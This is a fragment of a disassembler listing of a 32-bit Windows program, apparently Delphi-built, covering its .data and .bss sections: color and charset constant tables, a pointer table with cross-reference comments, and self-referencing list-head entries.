dword_4001AA74 dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101hoff_4001AA88 dd offset aFalse_0 ; DATA XREF: sub_40012F38+19o
; "False"
dd offset dword_40012F1C+8
off_4001AA90 dd offset dword_40012F34 ; DATA XREF: sub_40012F38+2Eo
dword_4001AA94 dd 0 off_4001AA98 dd offset dword_40013F94 ; DATA XREF: sub_40013FA4+19o
dd offset dword_40013F94+0Ch
off_4001AAA0 dd offset dword_40014730 ; DATA XREF: sub_40014740+19o
dd offset dword_40014730+0Ch
dd 0
dd 0FFFFFFF5h
dd 0
db 2 dup(0)
byte_4001AAB6 db 1 ; DATA XREF: sub_40014F60+7r
; sub_40014F8C+C4r ...
byte_4001AAB7 db 6 ; DATA XREF: sub_40014F60+Fo
; sub_40014F8C+13Eo ...
aTahomasSerif db 'Tahomas Serif',0
align 4
dd 4 dup(0)
dword_4001AAD8 dd 0 ; sub_40014D7C+2o ...
dd offset dword_4001491C+8
dd 80h
dd offset dword_4001491C+18h
dd 8000h
dd offset dword_40014940+8
dd 8080h
dd offset dword_40014940+18h
dd 800000h
dd offset dword_40014940+28h
dd 800080h
dd offset dword_40014940+38h
dd 808000h
dd offset dword_40014984+8
dd 808080h
dd offset dword_40014984+18h
dd 0C0C0C0h
dd offset dword_40014984+28h
dd 0FFh
dd offset dword_400149B8+8
dd 0FF00h
dd offset dword_400149B8+18h
dd 0FFFFh
dd offset dword_400149B8+28h
dd 0FF0000h
dd offset dword_400149EC+8
dd 0FF00FFh
dd offset dword_400149EC+18h
dd 0FFFF00h
dd offset dword_400149EC+2Ch
dd 0FFFFFFh
dd offset dword_400149EC+3Ch
dd 0C0DCC0h
dd offset dword_400149EC+4Ch
dd 0F0CAA6h
dd offset dword_40014A48+8
dd 0F0FBFFh
dd offset dword_40014A48+1Ch
dd 0A4A0A0h
dd offset dword_40014A48+2Ch
dd 0FF00000Ah
dd offset dword_40014A48+40h
dd 0FF000002h
dd offset dword_40014A48+58h
dd 0FF00000Ch
dd offset dword_40014A48+70h
dd 0FF000001h
dd offset dword_40014A48+88h
dd 0FF00000Fh
dd offset dword_40014AE0+8
dd 0FF000014h
dd offset dword_40014AE0+1Ch
dd 0FF000010h
dd offset dword_40014AE0+34h
dd 0FF000012h
dd offset dword_40014AE0+48h
dd 0FF000009h
dd offset dword_40014AE0+5Ch
dd 20000000h
dd offset dword_40014AE0+74h
dd 0FF00001Bh
dd offset dword_40014AE0+88h
dd 0FF00001Ch
dd offset dword_40014AE0+0A8h
dd 0FF000011h
dd offset dword_40014AE0+0CCh
dd 0FF00000Dh
dd offset dword_40014AE0+0E0h
dd 0FF00000Eh
dd offset dword_40014AE0+0F4h
dd 0FF00001Ah
dd offset dword_40014AE0+10Ch
dd 0FF00000Bh
dd offset dword_40014AE0+120h
dd 0FF000003h
dd offset dword_40014C14+8
dd 0FF000013h
dd offset dword_40014C14+24h
dd 0FF000018h
dd offset dword_40014C14+44h
dd 0FF000017h
dd offset dword_40014C64+8
dd 0FF000004h
dd offset dword_40014C64+1Ch
dd 0FF00001Eh
dd offset dword_40014C64+2Ch
dd 0FF00001Dh
dd offset dword_40014C64+40h
dd 0FF000007h
dd offset dword_40014C64+58h
dd 1FFFFFFFh
dd offset dword_40014C64+6Ch
dd 0FF000000h
dd offset dword_40014C64+7Ch
dd 0FF000015h
dd offset dword_40014C64+90h
dd 0FF000016h
dd offset dword_40014D04+8
dd 0FF000005h
dd offset dword_40014D04+1Ch
dd 0FF000006h
dd offset dword_40014D2C+8
dd 0FF000008h
dd offset dword_40014D2C+20h
dword_4001AC78 dd 0 ; .text:40014F52o ...
dd offset dword_40014D8C+8
dd 1
dd offset dword_40014DA4+8
dd 2
dd offset dword_40014DA4+20h
dd 4Dh
dd offset dword_40014DA4+38h
dd 80h
dd offset dword_40014DA4+4Ch
dd 81h
dd offset dword_40014E04+8
dd 82h
dd offset dword_40014E04+20h
dd 86h
dd offset dword_40014E04+38h
dd 88h
dd offset dword_40014E04+50h
dd 0A1h
dd offset dword_40014E04+6Ch
dd 0A2h
dd offset dword_40014E04+84h
dd 0B1h
dd offset dword_40014E04+9Ch
dd 0B2h
dd offset dword_40014E04+0B4h
dd 0BAh
dd offset dword_40014E04+0CCh
dd 0CCh
dd offset dword_40014E04+0E4h
dd 0DEh
dd offset dword_40014E04+0FCh
dd 0EEh
dd offset aEasteurope_cha ; "EASTEUROPE_CHARSET"
dd 0FFh
dd offset dword_40014F2C+8
word_4001AD08 dw 0 ; DATA XREF: sub_400151D0+3Dr
dw 1
dd 30002h, 50004h, 70006h, 0C08B0008h
word_4001AD1C dw 1 ; DATA XREF: sub_400155D0+1Cr
dw 10h
dd 6000Bh, 4000Dh, 5000Eh, 3000Ch, 2000Fh, 80009h, 0A0007h
dword_4001AD3C dd 0 dword_4001AD40 dd 0 dword_4001AD44 dd 0A41C68h ; sub_40015794:loc_40015827r ...
dd 0
dd 80h, 8000h, 8080h, 800000h, 800080h, 808000h, 808080h
dd 0C0C0C0h, 0FFh, 0FF00h, 0FFFFh, 0FF0000h, 0FF00FFh
dd 0FFFF00h, 0FFFFFFh
dword_4001AD88 dd 774FFA6Bh dword_4001AD8C dd 774FEF6Bh ; sub_40016A34+18r ...
dword_4001AD90 dd 77596178h dword_4001AD94 dd 77596182h dword_4001AD98 dd 775274DCh dword_4001AD9C dd 77527567h dword_4001ADA0 dd 0FFFFFFFFh ; sub_40016A34+21r ...
dword_4001ADA4 dd 0 dd offset dword_40015E44+14h
dd offset dword_40015E44+28h
dd offset dword_40015E74+8
dd offset dword_40015E84+8
dword_4001ADB8 dd 40h dup(0) off_4001AEB8 dd offset off_40006CC8 ; DATA XREF: .text:4000CC0Co
off_4001AEBC dd offset off_40006BE8 ; DATA XREF: .text:4000C9C0o
; sub_4000E0EC+16r
off_4001AEC0 dd offset off_40006C30 ; DATA XREF: sub_4000DBF4+56r
off_4001AEC4 dd offset off_40006B30 ; DATA XREF: .text:4000CA58o
off_4001AEC8 dd offset off_40006D18 ; DATA XREF: .text:4000CB94o
off_4001AECC dd offset off_40006D58 ; DATA XREF: .text:4000CB34o
off_4001AED0 dd offset off_40006DC0 ; DATA XREF: .text:4000CA98o
off_4001AED4 dd offset byte_4001C038 ; DATA XREF: .itext:400193CBr
off_4001AED8 dd offset off_40006CE8 ; DATA XREF: .text:4000CBDCo
off_4001AEDC dd offset off_4001C02C ; DATA XREF: sub_4000B72C+79r
off_4001AEE0 dd offset off_40006C68 ; DATA XREF: sub_4000B654+71r
; .text:4000C998o
off_4001AEE4 dd offset off_4001A014 ; DATA XREF: sub_40019144+5Ar
off_4001AEE8 dd offset off_40006DD0 ; DATA XREF: .text:4000CA80o
off_4001AEEC dd offset off_4001C008 ; DATA XREF: sub_4000B72C+2Er
; sub_4000B7B0:loc_4000B7F6r
off_4001AEF0 dd offset off_40006DA8 ; DATA XREF: .text:4000CABCo
off_4001AEF4 dd offset off_40006CD0 ; DATA XREF: .text:4000CC00o
off_4001AEF8 dd offset off_4001C000 ; DATA XREF: sub_40016AB0+33r
; .itext:400193B3r
off_4001AEFC dd offset off_40006C60 ; DATA XREF: sub_4000DDD4+1ADr
off_4001AF00 dd offset off_40006C40 ; DATA XREF: sub_4000DDD4+CCr
off_4001AF04 dd offset dword_4001F274 ; DATA XREF: sub_400113EC+1Br
off_4001AF08 dd offset off_40015D08 ; DATA XREF: sub_40015EE4+5Ar
off_4001AF0C dd offset off_40006B48 ; DATA XREF: .text:4000CA40o
off_4001AF10 dd offset off_40006DB0 ; DATA XREF: .text:4000CAB0o
off_4001AF14 dd offset off_40006D90 ; DATA XREF: .text:4000CAE0o
off_4001AF18 dd offset off_40006DB8 ; DATA XREF: .text:4000CAA4o
off_4001AF1C dd offset off_4001C01C ; DATA XREF: sub_4000B72C+44r
; sub_4000B7B0+58r
off_4001AF20 dd offset byte_4001C04D ; DATA XREF: sub_40016A34+3Cr
; sub_40016A34:loc_40016A92r
off_4001AF24 dd offset off_40006B18 ; DATA XREF: sub_4000B230+44r
off_4001AF28 dd offset off_40006BD0 ; DATA XREF: sub_4000AF68+83r
off_4001AF2C dd offset off_40006B10 ; DATA XREF: sub_4000B72Cr
; sub_4000DDD4+164r
off_4001AF30 dd offset off_40006CF0 ; DATA XREF: .text:4000CBD0o
off_4001AF34 dd offset off_40006B50 ; DATA XREF: .text:4000CA38o
off_4001AF38 dd offset off_40006BD8 ; DATA XREF: .text:4000CC48o
off_4001AF3C dd offset dword_4001F268 ; DATA XREF: sub_40010874+3Br
off_4001AF40 dd offset off_40006C90 ; DATA XREF: sub_4000B3D8r
off_4001AF44 dd offset off_40006C48 ; DATA XREF: .text:4000C9B0o
; sub_4000DDD4+18Ar
off_4001AF48 dd offset off_40006D40 ; DATA XREF: .text:4000CB58o
off_4001AF4C dd offset dword_4001C21C ; DATA XREF: sub_4000AF68+1Er
off_4001AF50 dd offset off_40006D60 ; DATA XREF: .text:4000CB28o
off_4001AF54 dd offset off_4001C00C ; DATA XREF: sub_4000B72C+51r
; sub_4000B7B0+61r
off_4001AF58 dd offset off_40006D20 ; DATA XREF: .text:4000CB88o
off_4001AF5C dd offset off_4001C004 ; DATA XREF: sub_4000B72C+39r
; sub_4000B7B0+4Fr
off_4001AF60 dd offset off_4001C010 ; DATA XREF: sub_4000B72C+5Cr
; sub_4000B7B0+6Ar
off_4001AF64 dd offset off_40015D20 ; DATA XREF: sub_40016280+4Cr
; sub_400166E8+1Ar
off_4001AF68 dd offset off_40013F84 ; DATA XREF: sub_4001552C+2Er
off_4001AF6C dd offset off_40006D68 ; DATA XREF: .text:4000CB1Co
off_4001AF70 dd offset off_40006BB0 ; DATA XREF: .text:4000C9D8o
off_4001AF74 dd offset off_40006BA8 ; DATA XREF: .text:4000C9F0o
off_4001AF78 dd offset off_40006BB8 ; DATA XREF: .text:4000C9E0o
off_4001AF7C dd offset off_40012EDC ; DATA XREF: sub_400140B4+11r
off_4001AF80 dd offset off_40006DA0 ; DATA XREF: .text:4000CAC8o
off_4001AF84 dd offset off_40006B20 ; DATA XREF: .text:4000CA68o
off_4001AF88 dd offset off_40006B68 ; DATA XREF: .text:4000CA20o
off_4001AF8C dd offset off_40006BE0 ; DATA XREF: .text:4000CC3Co
off_4001AF90 dd offset off_40012ED4 ; DATA XREF: sub_40013A1C+51r
off_4001AF94 dd offset off_40006C00 ; DATA XREF: .text:4000C9B8o
; sub_4000DD80+16r
off_4001AF98 dd offset off_40006C28 ; DATA XREF: sub_4000DDD4+1FFr
off_4001AF9C dd offset off_40006D10 ; DATA XREF: .text:4000CBA0o
off_4001AFA0 dd offset off_40012EEC ; DATA XREF: sub_400138D4:loc_400138E8r
off_4001AFA4 dd offset off_40006C78 ; DATA XREF: .text:4000C990o
off_4001AFA8 dd offset dword_4001A7CC ; DATA XREF: sub_40016280+2A2r
; sub_400165F0+ADr
off_4001AFAC dd offset off_40012ECC ; DATA XREF: sub_40013B54+89r
off_4001AFB0 dd offset off_40006D38 ; DATA XREF: .text:4000CB64o
off_4001AFB4 dd offset off_40006C20 ; DATA XREF: .text:4000C9C8o
; sub_4000DC90+16r
off_4001AFB8 dd offset off_4001C044 ; DATA XREF: .itext:400193D5r
; .itext:400193E1r
off_4001AFBC dd offset off_40006D28 ; DATA XREF: .text:4000CB7Co
off_4001AFC0 dd offset dword_4001F270 ; DATA XREF: sub_4000FCA4+33r
off_4001AFC4 dd offset off_40006D48 ; DATA XREF: .text:4000CB4Co
off_4001AFC8 dd offset dword_4001F278 ; DATA XREF: sub_40011424+1Br
off_4001AFCC dd offset off_40012F04 ; DATA XREF: sub_4001464C+48r
off_4001AFD0 dd offset off_4001A010 ; DATA XREF: sub_40019144+4Dr
off_4001AFD4 dd offset off_40006C18 ; DATA XREF: .text:4000C9D0o
; sub_4000DBA0+16r
off_4001AFD8 dd offset off_40006CB8 ; DATA XREF: .text:4000CC24o
off_4001AFDC dd offset off_40006CF8 ; DATA XREF: .text:4000CBC4o
off_4001AFE0 dd offset off_40006D88 ; DATA XREF: .text:4000CAECo
off_4001AFE4 dd offset off_40012EE4 ; DATA XREF: sub_40013898:loc_400138ABr
off_4001AFE8 dd offset off_40006B40 ; DATA XREF: .text:4000CA48o
off_4001AFEC dd offset off_40006B80 ; DATA XREF: .text:4000CA08o
off_4001AFF0 dd offset dword_4001F264 ; DATA XREF: sub_4000F6A8+7Er
; sub_400101AC+38r
off_4001AFF4 dd offset off_40006C58 ; DATA XREF: sub_4000DDD4+13Er
off_4001AFF8 dd offset off_40006D30 ; DATA XREF: .text:4000CB70o
off_4001AFFC dd offset off_40006B90 ; DATA XREF: sub_4000B72C+17r
off_4001B000 dd offset off_40006D98 ; DATA XREF: .text:4000CAD4o
off_4001B004 dd offset off_40006B88 ; DATA XREF: .text:4000CA00o
off_4001B008 dd offset off_40006D70 ; DATA XREF: .text:4000CB10o
off_4001B00C dd offset off_4001C024 ; DATA XREF: sub_4000B72C+6Cr
; sub_4000B7B0+73r
off_4001B010 dd offset off_40006C80 ; DATA XREF: .text:4000C988o
off_4001B014 dd offset off_40006C38 ; DATA XREF: sub_4000DCE4+56r
off_4001B018 dd offset off_4001A018 ; DATA XREF: sub_40019144+67r
off_4001B01C dd offset off_40006BF8 ; DATA XREF: sub_4000B488+54r
off_4001B020 dd offset off_40006BA0 ; DATA XREF: sub_4000B488+16Cr
off_4001B024 dd offset off_4001A020 ; DATA XREF: sub_40019144+81r
off_4001B028 dd offset off_40006DC8 ; DATA XREF: .text:4000CA8Co
off_4001B02C dd offset off_4001F294 ; DATA XREF: sub_40016AB0+3Cr
; .itext:400193ABr
off_4001B030 dd offset off_40006CA0 ; DATA XREF: sub_4000C41C+41r
off_4001B034 dd offset off_40006B38 ; DATA XREF: .text:4000CA50o
off_4001B038 dd offset off_40006C70 ; DATA XREF: sub_4000B300+38r
; .text:4000C9A0o
off_4001B03C dd offset off_40006D50 ; DATA XREF: .text:4000CB40o
off_4001B040 dd offset off_40006D78 ; DATA XREF: .text:4000CB04o
off_4001B044 dd offset off_40015D10 ; DATA XREF: sub_400165BC+19r
off_4001B048 dd offset byte_4001C04C ; DATA XREF: sub_4000AF68+14r
off_4001B04C dd offset off_40006D80 ; DATA XREF: .text:4000CAF8o
off_4001B050 dd offset off_40006C08 ; DATA XREF: .text:4000C9A8o
; sub_4000DDD4+F2r
off_4001B054 dd offset off_4001C020 ; DATA XREF: sub_40016AB0+2Ar
; .itext:400193C3r
off_4001B058 dd offset dword_4001F27C ; DATA XREF: sub_4001145C+2Dr
off_4001B05C dd offset off_40012EF4 ; DATA XREF: sub_40013708:loc_40013718r
; sub_400137FC:loc_4001380Br
off_4001B060 dd offset off_40006C98 ; DATA XREF: sub_4000B488+110r
off_4001B064 dd offset dword_4001F228 ; DATA XREF: sub_4000E8E0+31r
; sub_4000E8E0+5Dr ...
off_4001B068 dd offset off_40006CE0 ; DATA XREF: .text:4000CBE8o
off_4001B06C dd offset off_40006C88 ; DATA XREF: sub_4000B300+63r
off_4001B070 dd offset off_40006D00 ; DATA XREF: .text:4000CBB8o
off_4001B074 dd offset off_4001A038 ; DATA XREF: sub_4000C230+7r
off_4001B078 dd offset off_40006DD8 ; DATA XREF: .text:4000CA74o
off_4001B07C dd offset off_40015D18 ; DATA XREF: sub_400166D0r
off_4001B080 dd offset off_40006CC0 ; DATA XREF: .text:4000CC18o
off_4001B084 dd offset off_40006B28 ; DATA XREF: .text:4000CA60o
off_4001B088 dd offset off_40006BC0 ; DATA XREF: .text:4000C9E8o
off_4001B08C dd offset off_40006B60 ; DATA XREF: .text:4000CA28o
off_4001B090 dd offset off_40006C50 ; DATA XREF: sub_4000DDD4+9Cr
off_4001B094 dd offset off_40006B58 ; DATA XREF: .text:4000CA30o
off_4001B098 dd offset off_40006D08 ; DATA XREF: .text:4000CBACo
off_4001B09C dd offset off_4001A84C ; DATA XREF: sub_4000DDD4:loc_4000DFA1r
; sub_4001293C+D8r
off_4001B0A0 dd offset dword_4001F26C ; DATA XREF: sub_40010E0C+38r
off_4001B0A4 dd offset off_40006CA8 ; DATA XREF: sub_4000C41C:loc_4000C473r
off_4001B0A8 dd offset off_40006B70 ; DATA XREF: .text:4000CA18o
off_4001B0AC dd offset off_40006CB0 ; DATA XREF: .text:4000CC30o
off_4001B0B0 dd offset dword_4001F25C ; DATA XREF: sub_4000EBF8+33r
; sub_4000F6A8+56r
off_4001B0B4 dd offset off_4001A01C ; DATA XREF: sub_400082E4+1r
; sub_400082E4+Cr ...
off_4001B0B8 dd offset off_40006BC8 ; DATA XREF: sub_4000ADE0+DEr
off_4001B0BC dd offset off_40006B98 ; DATA XREF: .text:4000C9F8o
off_4001B0C0 dd offset off_40006C10 ; DATA XREF: sub_4000DDD4+118r
off_4001B0C4 dd offset off_40006B78 ; DATA XREF: .text:4000CA10o
off_4001B0C8 dd offset dword_4001A7E4 ; DATA XREF: sub_40014F8C:loc_400150FAr
off_4001B0CC dd offset off_40006BF0 ; DATA XREF: sub_4000B488+45r
off_4001B0D0 dd offset off_40006CD8 ; DATA XREF: .text:4000CBF4o
off_4001B0D4 dd offset off_40012EFC ; DATA XREF: sub_400146B4+41r
_data ends
; Section 4. (virtual address 0001C000)
; Virtual size : 00007E54 ( 32340.)
; Section size in file : 00007E54 ( 32340.)
; Offset to raw data for section: 0001C000
; Flags C0000000: Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Regular
; Segment permissions: Read/Write
_bss segment para public '' use32
assume cs:_bss
;org 4001C000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_4001C000 dd offset sub_40016958 ; DATA XREF: .itext:40019034w
; .data:off_4001AEF8o
off_4001C004 dd offset sub_4000B71C ; DATA XREF: .text:400044AAr
; .data:off_4001AF5Co
off_4001C008 dd offset sub_4000B2B0 ; DATA XREF: sub_40002D04+9r
; sub_40002D04+16r ...
off_4001C00C dd offset sub_4000B470 ; DATA XREF: .data:off_4001AF54o
off_4001C010 dd offset sub_4000B654 ; DATA XREF: sub_400040D8+25r
; .text:40004488r ...
off_4001C014 dd offset sub_40001168 ; DATA XREF: sub_40003FE8+14r
; sub_40004004+16r ...
off_4001C018 dd offset sub_40001178 ; DATA XREF: sub_400040D8+D2r
; .text:40004470r ...
off_4001C01C dd offset dword_40006E2C ; DATA XREF: .data:off_4001AF1Co
off_4001C020 dd offset sub_40016180 ; DATA XREF: .data:off_4001B054o
off_4001C024 dd offset sub_4000B3BC ; DATA XREF: .data:off_4001B00Co
dword_4001C028 dd 0 ; sub_40004790+B4r
off_4001C02C dd offset sub_4000B3D8 ; DATA XREF: sub_400030B4r
; sub_400030B4+9r ...
dword_4001C030 dd 40000000h dword_4001C034 dd 6C8h byte_4001C038 db 0 ; DATA XREF: sub_400045E4+33w
; .data:off_4001AED4o
align 4
dword_4001C03C dd 0Ah dword_4001C040 dd 142340h off_4001C044 dd offset sub_40016A34 ; DATA XREF: .data:off_4001AFB8o
dword_4001C048 dd 0 byte_4001C04C db 0 ; DATA XREF: sub_40004704+1r
; .data:off_4001B048o
byte_4001C04D db 0 ; DATA XREF: sub_40001654r
; sub_40001734+Cr ...
byte_4001C04E db 2 ; DATA XREF: .itext:4001902Dw
align 10h
dword_4001C050 dd 0 ; sub_40006350+19o
word_4001C054 dw 0D7B0h ; DATA XREF: .itext:40019051w
align 4
dd 71h dup(0)
dword_4001C21C dd 0 ; sub_40004704+1Eo ...
word_4001C220 dw 0D7B0h ; DATA XREF: sub_40004704+Ar
; .itext:4001905Aw
align 8
dword_4001C228 dd 0 dd 3 dup(0)
dword_4001C238 dd 0 dd 6Bh dup(0)
dword_4001C3E8 dd 0 ; sub_40003390+26o ...
word_4001C3EC dw 0D7B0h ; DATA XREF: .itext:40019063w
align 10h
dd 71h dup(0)
byte_4001C5B4 db 0 ; DATA XREF: sub_40002BB4:loc_40002BCFr
align 4
dword_4001C5B8 dd 0FFFFFFFFh ; .itext:loc_40019000w
dword_4001C5BC dd 4E4h ; sub_400049C4+Cr ...
byte_4001C5C0 db 0 ; DATA XREF: sub_40001734+1Ar
; sub_400029B8:loc_400029E1w
align 2
dw 804h
dd 1814100Ch, 2824201Ch, 3834302Ch, 4844403Ch, 50504C4Ch
dd 58585454h, 60605C5Ch, 68686464h, 70706C6Ch, 74747474h
dd 78787878h, 7C7C7C7Ch, 80808080h, 84848484h, 88888888h
dd 8C8C8888h, 8C8C8C8Ch, 90909090h, 94949090h, 94949494h
dd 2 dup(98989898h), 2 dup(9C9C9C9Ch), 2 dup(0A0A0A0A0h)
dd 0A4A4A0A0h, 2 dup(0A4A4A4A4h), 3 dup(0A8A8A8A8h), 3 dup(0ACACACACh)
dd 3 dup(0B0B0B0B0h), 0B4B4B0B0h, 3 dup(0B4B4B4B4h), 4 dup(0B8B8B8B8h)
dd 4 dup(0BCBCBCBCh), 0C0C0BCBCh, 4 dup(0C0C0C0C0h), 0C4C4C0C0h
dd 5 dup(0C4C4C4C4h), 6 dup(0C8C8C8C8h), 6 dup(0CCCCCCCCh)
dd 0D0D0CCCCh, 6 dup(0D0D0D0D0h)
db 2 dup(0D0h)
byte_4001C706 db 0 ; DATA XREF: sub_400029B8:loc_400029C3r
align 4
dword_4001C708 dd 910000h ; sub_40002540:loc_4000261Fo ...
dword_4001C70C dd 910000h ; sub_400015DC+2Dw ...
dd 2 dup(0)
byte_4001C718 db 0 ; DATA XREF: sub_40001734+DCw
; sub_40001734+F2w ...
align 4
dword_4001C71C dd 95C430h ; sub_40001570+51r ...
dword_4001C720 dd 4C420h ; sub_40001570+1Br ...
dword_4001C724 dd 20008h ; sub_40001510+59w ...
dword_4001C728 dd 0 ; sub_40001510+49w ...
dd 2 dup(0)
dd 100h, 0Dh dup(0)
dd 20000h, 0Eh dup(0)
off_4001C7A8 dd offset off_4001C7A8 ; DATA XREF: sub_400014D0:loc_400014E0o
; sub_40001510+19o ...
dd offset off_4001C7A8
off_4001C7B0 dd offset off_4001C7B0 ; DATA XREF: .bss:off_4001C7B0o
; .bss:4001C7B4o
dd offset off_4001C7B0
off_4001C7B8 dd offset off_4001C7B8 ; DATA XREF: .bss:off_4001C7B8o
; .bss:4001C7BCo
dd offset off_4001C7B8
off_4001C7C0 dd offset off_4001C7C0 ; DATA XREF: .bss:off_4001C7C0o
; .bss:4001C7C4o
dd offset off_4001C7C0
off_4001C7C8 dd offset off_4001C7C8 ; DATA XREF: .bss:off_4001C7C8o
; .bss:4001C7CCo
dd offset off_4001C7C8
off_4001C7D0 dd offset off_4001C7D0 ; DATA XREF: .bss:off_4001C7D0o
; .bss:4001C7D4o
dd offset off_4001C7D0
off_4001C7D8 dd offset off_4001C7D8 ; DATA XREF: .bss:off_4001C7D8o
; .bss:4001C7DCo
dd offset off_4001C7D8
off_4001C7E0 dd offset off_4001C7E0 ; DATA XREF: .bss:off_4001C7E0o
; .bss:4001C7E4o
dd offset off_4001C7E0
off_4001C7E8 dd offset off_4001C7E8 ; DATA XREF: .bss:off_4001C7E8o
; .bss:4001C7ECo
dd offset off_4001C7E8
off_4001C7F0 dd offset off_4001C7F0 ; DATA XREF: .bss:off_4001C7F0o
; .bss:4001C7F4o
dd offset off_4001C7F0
off_4001C7F8 dd offset off_4001C7F8 ; DATA XREF: .bss:off_4001C7F8o
; .bss:4001C7FCo
dd offset off_4001C7F8
off_4001C800 dd offset off_4001C800 ; DATA XREF: .bss:off_4001C800o
; .bss:4001C804o
dd offset off_4001C800
off_4001C808 dd offset off_4001C808 ; DATA XREF: .bss:off_4001C808o
; .bss:4001C80Co
dd offset off_4001C808
off_4001C810 dd offset off_4001C810 ; DATA XREF: .bss:off_4001C810o
; .bss:4001C814o
dd offset off_4001C810
off_4001C818 dd offset off_4001C818 ; DATA XREF: .bss:off_4001C818o
; .bss:4001C81Co
dd offset off_4001C818
off_4001C820 dd offset off_4001C820 ; DATA XREF: .bss:off_4001C820o
; .bss:4001C824o
dd offset off_4001C820
off_4001C828 dd offset off_4001C828 ; DATA XREF: .bss:off_4001C828o
; .bss:4001C82Co
dd offset off_4001C828
off_4001C830 dd offset off_4001C830 ; DATA XREF: .bss:off_4001C830o
; .bss:4001C834o
dd offset off_4001C830
off_4001C838 dd offset off_4001C838 ; DATA XREF: .bss:off_4001C838o
; .bss:4001C83Co
dd offset off_4001C838
off_4001C840 dd offset off_4001C840 ; DATA XREF: .bss:off_4001C840o
; .bss:4001C844o
dd offset off_4001C840
off_4001C848 dd offset off_4001C848 ; DATA XREF: .bss:off_4001C848o
; .bss:4001C84Co
dd offset off_4001C848
off_4001C850 dd offset off_4001C850 ; DATA XREF: .bss:off_4001C850o
; .bss:4001C854o
dd offset off_4001C850
off_4001C858 dd offset off_4001C858 ; DATA XREF: .bss:off_4001C858o
; .bss:4001C85Co
dd offset off_4001C858
off_4001C860 dd offset off_4001C860 ; DATA XREF: .bss:off_4001C860o
; .bss:4001C864o
dd offset off_4001C860
off_4001C868 dd offset off_4001C868 ; DATA XREF: .bss:off_4001C868o
; .bss:4001C86Co
dd offset off_4001C868
off_4001C870 dd offset off_4001C870 ; DATA XREF: .bss:off_4001C870o
; .bss:4001C874o
dd offset off_4001C870
off_4001C878 dd offset off_4001C878 ; DATA XREF: .bss:off_4001C878o
; .bss:4001C87Co
dd offset off_4001C878
off_4001C880 dd offset off_4001C880 ; DATA XREF: .bss:off_4001C880o
; .bss:4001C884o
dd offset off_4001C880
off_4001C888 dd offset off_4001C888 ; DATA XREF: .bss:off_4001C888o
; .bss:4001C88Co
dd offset off_4001C888
off_4001C890 dd offset off_4001C890 ; DATA XREF: .bss:off_4001C890o
; .bss:4001C894o
dd offset off_4001C890
off_4001C898 dd offset off_4001C898 ; DATA XREF: .bss:off_4001C898o
; .bss:4001C89Co
dd offset off_4001C898
off_4001C8A0 dd offset off_4001C8A0 ; DATA XREF: .bss:off_4001C8A0o
; .bss:4001C8A4o
dd offset off_4001C8A0
off_4001C8A8 dd offset off_4001C8A8 ; DATA XREF: .bss:off_4001C8A8o
; .bss:4001C8ACo
dd offset off_4001C8A8
off_4001C8B0 dd offset off_4001C8B0 ; DATA XREF: .bss:off_4001C8B0o
; .bss:4001C8B4o
dd offset off_4001C8B0
off_4001C8B8 dd offset off_4001C8B8 ; DATA XREF: .bss:off_4001C8B8o
; .bss:4001C8BCo
dd offset off_4001C8B8
off_4001C8C0 dd offset off_4001C8C0 ; DATA XREF: .bss:off_4001C8C0o
; .bss:4001C8C4o
dd offset off_4001C8C0
off_4001C8C8 dd offset off_4001C8C8 ; DATA XREF: .bss:off_4001C8C8o
; .bss:4001C8CCo
dd offset off_4001C8C8
off_4001C8D0 dd offset off_4001C8D0 ; DATA XREF: .bss:off_4001C8D0o
; .bss:4001C8D4o
dd offset off_4001C8D0
off_4001C8D8 dd offset off_4001C8D8 ; DATA XREF: .bss:off_4001C8D8o
; .bss:4001C8DCo
dd offset off_4001C8D8
off_4001C8E0 dd offset off_4001C8E0 ; DATA XREF: .bss:off_4001C8E0o
; .bss:4001C8E4o
dd offset off_4001C8E0
off_4001C8E8 dd offset off_4001C8E8 ; DATA XREF: .bss:off_4001C8E8o
; .bss:4001C8ECo
dd offset off_4001C8E8
off_4001C8F0 dd offset off_4001C8F0 ; DATA XREF: .bss:off_4001C8F0o
; .bss:4001C8F4o
dd offset off_4001C8F0
off_4001C8F8 dd offset off_4001C8F8 ; DATA XREF: .bss:off_4001C8F8o
; .bss:4001C8FCo
dd offset off_4001C8F8
off_4001C900 dd offset off_4001C900 ; DATA XREF: .bss:off_4001C900o
; .bss:4001C904o
dd offset off_4001C900
off_4001C908 dd offset off_4001C908 ; DATA XREF: .bss:off_4001C908o
; .bss:4001C90Co
dd offset off_4001C908
off_4001C910 dd offset off_4001C910 ; DATA XREF: .bss:off_4001C910o
; .bss:4001C914o
dd offset off_4001C910
off_4001C918 dd offset off_4001C918 ; DATA XREF: .bss:off_4001C918o
; .bss:4001C91Co
dd offset off_4001C918
off_4001C920 dd offset off_4001C920 ; DATA XREF: .bss:off_4001C920o
; .bss:4001C924o
dd offset off_4001C920
off_4001C928 dd offset off_4001C928 ; DATA XREF: .bss:off_4001C928o
; .bss:4001C92Co
dd offset off_4001C928
off_4001C930 dd offset off_4001C930 ; DATA XREF: .bss:off_4001C930o
; .bss:4001C934o
dd offset off_4001C930
off_4001C938 dd offset off_4001C938 ; DATA XREF: .bss:off_4001C938o
; .bss:4001C93Co
dd offset off_4001C938
off_4001C940 dd offset off_4001C940 ; DATA XREF: .bss:off_4001C940o
; .bss:4001C944o
dd offset off_4001C940
off_4001C948 dd offset off_4001C948 ; DATA XREF: .bss:off_4001C948o
; .bss:4001C94Co
dd offset off_4001C948
off_4001C950 dd offset off_4001C950 ; DATA XREF: .bss:off_4001C950o
; .bss:4001C954o
dd offset off_4001C950
off_4001C958 dd offset off_4001C958 ; DATA XREF: .bss:off_4001C958o
; .bss:4001C95Co
dd offset off_4001C958
off_4001C960 dd offset off_4001C960 ; DATA XREF: .bss:off_4001C960o
; .bss:4001C964o
dd offset off_4001C960
off_4001C968 dd offset off_4001C968 ; DATA XREF: .bss:off_4001C968o
; .bss:4001C96Co
dd offset off_4001C968
off_4001C970 dd offset off_4001C970 ; DATA XREF: .bss:off_4001C970o
; .bss:4001C974o
dd offset off_4001C970
off_4001C978 dd offset off_4001C978 ; DATA XREF: .bss:off_4001C978o
; .bss:4001C97Co
dd offset off_4001C978
off_4001C980 dd offset off_4001C980 ; DATA XREF: .bss:off_4001C980o
; .bss:4001C984o
dd offset off_4001C980
off_4001C988 dd offset off_4001C988 ; DATA XREF: .bss:off_4001C988o
; .bss:4001C98Co
dd offset off_4001C988
off_4001C990 dd offset off_4001C990 ; DATA XREF: .bss:off_4001C990o
